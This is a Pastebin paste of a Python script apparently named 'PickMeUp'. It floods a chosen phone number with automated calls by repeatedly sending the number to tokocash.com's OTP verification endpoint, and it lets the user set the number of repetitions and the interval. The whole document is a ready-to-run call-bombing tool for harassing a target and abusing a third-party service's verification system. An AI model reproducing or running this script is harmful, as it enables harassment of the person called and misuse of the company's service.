Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/python3.6
- #-*-coding:utf-8-*-
- import sys, requests, os, json, time
- __author__ = 'Darkitsune'
- __version__ = '1.0.0'
- colors = {
- 'default': '\033[39m',
- 'red': '\033[31m',
- 'green': '\033[32m',
- 'blue': '\033[94m'
- }
- status = {
- 'ok': '200000',
- 'error': '500001',
- 'limit': '412556'
- }
- def print_header() -> None:
- os.system('clear')
- print(''' {}____ _ _ __ __ _ _
- | _ \\(_) ___| | _| \\/ | ___| | | |_ __
- | |_) | |/ __| |/ / |\\/| |/ _ \\ | | | '_ \\
- | __/| | (__| <| | | | __/ |_| | |_) |
- |_| |_|\\___|_|\\_\\_| |_|\\___|\\___/| .__/
- {}|_|{}{}'''.format(colors['blue'], __author__, __version__, colors['default']))
- def print_usage() -> None:
- print('Usage: {} [phone number] [repetition] [interval]'.format(sys.argv[0]))
- print('Example: {} 0821xxxxxxxx 5 10'.format(sys.argv[0]))
- print('To print this help: {} [--help | -h]'.format(sys.argv[0]))
- exit(1)
- def request_data(phone) -> object:
- return json.loads(
- requests.post('https://www.tokocash.com/oauth/otp',
- data = {'msisdn': phone, 'accept':'call'}).text)
- def main(phone, repeat, interval) -> None:
- for i in range(0, repeat):
- print('{}. Calling {}... '.format(i+1, phone), end='\n\b\r')
- res = request_data(phone)
- if res['code'] == status['ok']:
- print('{}{}. Calling {} success, {} attempt left{}'.format(
- colors['green'], i+1, phone, res['data']['otp_attempt_left'],
- colors['default']))
- if res['data']['otp_attempt_left'] == 0:
- break
- time.sleep(interval*2)
- else:
- print('{}{}. Calling {} failed, {}{}'.format(
- colors['red'], i+1, phone, res['errors'][0], colors['default']))
- if res['code'] == status['error']:
- time.sleep(interval)
- elif res['code'] == status['limit']:
- break
- if __name__ == '__main__':
- print_header()
- if len(sys.argv) != 4 or sys.argv[1] == '-h' or sys.argv[1] == '--help':
- print_usage()
- try: repeat = int(sys.argv[2])
- except: repeat = 1
- try: interval = int(sys.argv[3])
- except: interval = 1
- try: main(sys.argv[1], repeat, interval)
- except: exit(2)
Add Comment
Please, Sign In to add comment